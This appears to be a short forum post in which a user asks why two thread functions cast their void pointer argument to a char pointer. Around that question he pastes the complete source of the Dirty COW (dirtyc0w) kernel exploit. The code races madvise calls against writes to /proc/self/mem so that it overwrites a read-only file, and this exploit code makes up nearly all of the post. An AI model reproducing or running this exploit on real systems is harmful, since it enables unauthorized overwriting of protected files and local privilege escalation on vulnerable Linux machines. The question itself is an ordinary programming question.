hi, why uses the author this intermediate steps:
Code:
char *str;
str=(char*)arg
in the following code (especially in the second thread...) :
Code:
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
Best regards
Tom
